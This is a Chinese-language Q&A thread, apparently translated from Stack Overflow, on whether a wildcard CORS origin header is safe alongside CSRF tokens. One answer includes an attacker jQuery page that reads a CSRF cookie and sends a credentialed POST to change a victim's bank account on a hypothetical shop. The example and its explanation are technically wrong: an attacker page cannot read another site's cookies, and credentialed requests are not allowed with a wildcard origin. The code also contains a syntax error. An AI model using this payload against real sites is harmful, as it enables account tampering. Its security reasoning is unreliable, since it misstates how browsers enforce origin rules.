【发布时间】:2018-04-26 03:06:41
【问题描述】:
我通常在开发过程中添加 * 作为 CORS 允许的原始标头,并且想知道如果我使用 csrf 令牌来保护我的网站免受伪造请求,我是否必须更改它。
【问题讨论】:
我通常在开发过程中添加 * 作为 CORS 允许的原始标头,并且想知道如果我使用 csrf 令牌来保护我的网站免受伪造请求,我是否必须更改它。
【问题讨论】:
它绝对不安全。您正在规避同源政策。
一个具体的例子:您有一个网店和一个端点来更改用户的银行帐户http://mycoolwebshop/api/v1/users/3/changebankdata
可以通过 Ajax POST 请求调用此端点。在每个请求中,您都将 csrf 令牌附加为 HTTP 标头。
攻击者可以伪造一个恶意请求,当受害者单击攻击者网站上的按钮时发送该请求:
<html>
<body>
<script src="https://code.jquery.com/jquery.js"></script>
<!-- Latest compiled and minified JavaScript -->
<script src="//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>
<script type="text/javascript">
$( document ).ready(function() {
csrf_token = document.cookie.match("CSRF-TOKEN");
csrf_token = csrf_token["input"].split("=")[1];
$("button").click(function(){
$.ajax({
url: "http://mycoolwebshop/api/v1/users/3/changebankdata",
type:'POST',
contentType: "application/json",
xhrFields: {
withCredentials: true
},
data: JSON.stringify({ Bank-Account: "01234345" }),
dataType: "json",
headers: {
"CSRF-TOKEN":csrf_token
},
success: function(){
alert("ok");
},
error: function(jqXHR, textStatus, error){
//alert(textStatus);
}
});
});
});
</script>
<button></button>
这里的想法是从浏览器的 cookie 存储中读取 cookie,并将其作为自定义 HTML 标头附加。 但是,这仅在 如果 CORS 允许来源设置为 * 否则 SOP doesn't allow custom request headers from cross domains 时有效。
【讨论】:
CSRF 保护的基本情况是实际更改服务器上某些内容的请求。如果它只是一个不改变内容的 GET,那么你很高兴,因为浏览器中的同源策略将不允许攻击者网站创建对原始站点的请求(当然,通过有效的登录用户浏览器) .所以有与 GET 保护相同的源策略。
直到您添加access-control-allow-origin: *。这样,恶意网站可以包含 Javascript 以从您的服务下载数据,并且能够访问响应 - 因为您允许它。 p>
当然,如果有类似标头发送令牌身份验证或类似的东西,所以这是不可能的,那么你很高兴。但问题是,如果你有标准的 CSRF 保护,CORS 标头中的 * 是否可以 - 不幸的是它不是。
【讨论】: